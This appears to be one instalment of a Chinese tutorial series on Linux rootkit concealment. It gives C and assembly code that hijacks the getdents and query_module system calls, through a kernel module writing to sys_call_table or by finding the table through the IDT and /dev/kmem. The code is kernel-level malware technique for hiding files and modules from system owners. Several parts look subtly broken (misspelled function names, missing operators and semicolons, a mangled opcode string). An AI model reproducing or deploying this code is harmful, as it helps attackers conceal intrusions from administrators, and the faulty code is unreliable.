Linux操作系統下的高級隱藏技術詳解(6)
2.4 修改系統調用的方法
現在已經解決了如何修改系統調用來達到隱藏的目的,那麼如何用修改後的系統調用來替換原來的呢?這個問題在實際應用中往往是最關鍵的,下面將討論在不同的情況下如何做到這一點。
(1)當系統導出sys_call_table,並且支持動態的插入模塊的情況下:
在Linux內核2.4.18版以前,這種內核配置是非常普遍的。這種情況下修改系統調用非常容易,只需要修改相應的sys_call_table表項,使其指向新的系統調用即可。下面是相應的代碼:
int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
int init_module(void) /*初始化模塊*/
{
orig_getdents=sys_call_table[SYS_getdents]; //保存原來的系統調用
orig_query_module=sys_call_table[SYS_query_module]
sys_call_table[SYS_getdents]=hacked_getdents; //設置新的系統調用
sys_call_table[SYS_query_module]=hacked_query_module;
return 0; //返回0表示成功
}
void cleanup_module(void)
/*卸載模塊*/
{
sys_call_table[SYS_getdents]=orig_getdents; //恢復原來的系統調用
sys_call_table[SYS_query_module]=orig_query_module;
}
(2)在系統並不導出sys_call_table的情況下:
linux內核在2.4.18以後為了安全起見不再導出sys_call_table符號,從而無法直接獲得系統調用表的地址,那麼就必須找到其他的辦法來得到這個地址。在背景知識中提到了/dev/kmem是系統主存的映像,可以通過查詢該文件來找到sys_call_table的地址,並對其進行修改,來使用新的系統調用。那麼如何在系統映像中找到sys_call_table的地址呢?讓我們先看看system_call的源代碼是如何來實現系統調用的(代碼見 /arch/i386/kernel/entry.S):
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_CURRENT(%ebx)
cmpl $(NR_syscalls),%eax
jae badsys
testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS
jne tracesys
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
movl %eax,EAX(%esp) # save the return value
ENTRY(ret_from_sys_call)
這段源代碼首先保存相應的寄存器的值,然後判斷系統調用號(在eax寄存器中)是否合法,繼而對設置調試的情況進行處理,在所有這些進行完後,利用 call *SYMBOL_NAME(sys_call_table)(,%eax,4) 來轉入相應的系統調用進行處理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址。從上面的分析可以看出,當找到system_call函數之後,利用字符匹配來尋找相應call語句就可以確定sys_call_table的位置,因為call something(,%eax,4)的機器指令碼是0xff 0x14 0x85。所以匹配這個指令碼就行了。至於如何確定system_call的地址在背景知識中已經介紹了,下面給出相應的偽代碼:
struct{ //各字段含義可以參考背景知識中關於IDTR寄存器的介紹
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{ //各字段含義可以參考背景知識中關於中斷描述符的介紹
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
}__attribute__((packed))idt;
int kmem;
/ *下面函數用於從kemem對應的文件中偏移量為off處讀取sz個字節至內存m處*/
void readkmem(void *m,unsigned off,int sz) {………}
/*下面函數用於從src讀取count個字節至dest處*/
void weitekmem(void *src,void *dest,unsigned int count) {………..}
unsigned sct; //用來存放sys_call_table地址
char buff[100]; //用於存放system_call函數的前100個字節。
char *p;
if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
return 1;
asm(“sidt %0” “:=m” (idtr)); //讀取idtr寄存器的值至idtr結構中
readkmem(&idt,idtr.base+8*0x80,sizeof(idt)) //將0x80描述符讀至idt結構中
sys_ call_off=(idt.off2<<16) idt.off1; //得到system_call函數的地址。
readkmem(buff,sys_call_off,100) //讀取system_call函數的前100字節至buff
p=(char *)memmem(buff,100,”xffx14x85”,3); //得到call語句對應機器碼的地址
sct=(unsigned *)(p+3) //得到sys_call_table的地址。
至此已經得到了sys_call_table在內存中的位置,這樣在根據系統調用號就能夠找到相應的系統調用對應的地址,修改該地址就可以使用新的系統調函數,具體的做法如下:
readkmem(&orig_getdents,sct+ SYS_getdents*4,4)//保存原來的系統調用
readkmem(&orig_query_module,sct+SYS_query_module*4,4);
writekmem(hacked_getdents,sct+SYS_getdents*4,4);//設置新的系統調用
writekmem(hacket_query_module,sct+SYS_query_module*4,4);